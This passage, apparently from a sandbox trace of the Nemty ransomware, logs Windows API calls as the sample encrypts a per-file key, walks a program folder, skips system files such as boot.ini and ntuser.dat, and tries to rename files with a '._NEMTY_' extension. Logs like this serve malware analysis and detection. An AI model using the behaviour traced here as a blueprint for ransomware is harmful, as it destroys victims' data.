Size=0x20) returned 0x4f9ece0 [0085.174] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0085.174] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0085.174] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0085.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0085.174] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="nvguUf4qbXuTop3AgZM7M+DoIcDHZo3q8+Js8HGYt5epsSZzKIgai4GoHlSnh4Ya\r\nlUPvjfxhURpqemA3BGYgORoX6zOr8DIiuaG1LJIJuN168fGgLj6k+xLbXjBK1eSr\r\nb9KzkgswqQ461/9PMkIyEVjiCZTP4dUDYAOOU7lzGc1iQ++8iMOOxeElb9Ekhi00\r\nwTKJVcTETnBtWk8AzUs7PSEQl+Hw+wIiYVs+kXQBsL7HZV8u7kRppRKBIHQMY3pk\r\nXXk6MMdXA2tvbdM1FIka5G9q3CKguEIMDHVImSkzdiKuQXxK7cJJnDKhUjm7nbOO\r\nDq2j0FKkGLqcAyHvSrwlRQ==\r\n", pcchString=0x653e91c) returned 1 [0085.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0085.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0085.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0085.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0085.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0085.174] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0085.175] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0085.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0085.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.184] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.184] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.222] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.222] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.263] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.263] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.273] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.273] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.279] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0085.285] CloseHandle (hObject=0xffffffff) returned 0 [0085.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0085.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0085.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0085.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0085.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0085.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0085.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0085.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94358 [0085.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0085.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0085.286] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png._nemty_kgobjgd_")) returned 0 [0085.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0085.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0085.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0085.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0085.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0085.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0085.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0085.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0085.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.286] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2=".") returned 1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="..") returned 1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="...") returned 1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="windows") returned -1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="rsa") returned -1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="NTDETECT.COM") returned -1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntldr") returned -1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="MSDOS.SYS") returned -1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="IO.SYS") returned -1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="AUTOEXEC.BAT") returned -1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.dat") returned -1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="desktop.ini") returned -1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="CONFIG.SYS") returned -1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RECYCLER") returned -1 [0085.286] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="BOOTSECT.BAK") returned -1 [0085.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgr") returned -1 [0085.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="programdata") returned -1 [0085.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="appdata") returned -1 [0085.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0085.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0085.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0085.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0085.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0085.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0085.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0085.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0085.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0085.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0085.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0085.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0085.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0085.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0085.287] Sleep (dwMilliseconds=0x5) [0085.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe67d2330, dwHighDateTime=0x1d561e7)) [0085.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe67d2330, dwHighDateTime=0x1d561e7)) [0085.298] GetLastError () returned 0x5 [0085.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.299] GetLastError () returned 0x5 [0085.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0085.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0085.299] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0085.299] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0085.299] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0085.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0085.299] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="VuOuLxjql7R2v8glF6M5loLbLk5e7JGaaqsAuw80ibi3M6rEqdgnZmGY5d6galJS\r\noPw9dCyJ17dq5vRxPz3mTCC338rYUNgzqcF2O0X3iygKkHiokHfzdh5wMuy3UPQR\r\nhmIqfTGWVtj81PDzKZFL8jYblE4255E2dRb090zuC5B69Vxx3EZTR8UFYwejTsq+\r\n6q5nUCIXiWyLpTv0xtpjOBaOKGyfgqZD7ePhqR08H1WXPJxDdCzzTVIyhkgvQ8Jk\r\nOz6JcAr4gM1IaxfQ4A8o5SN5z5r5xx2HoPlPG3eXFwXwFGaU5ZK0s3EBmyEzvtZw\r\necfg+Fdja5fAjXYtdz6DUA==\r\n", pcchString=0x653e91c) returned 1 [0085.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0085.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0085.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0085.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0085.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0085.299] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0085.299] GetFileSizeEx (in: hFile=0xffffffff, 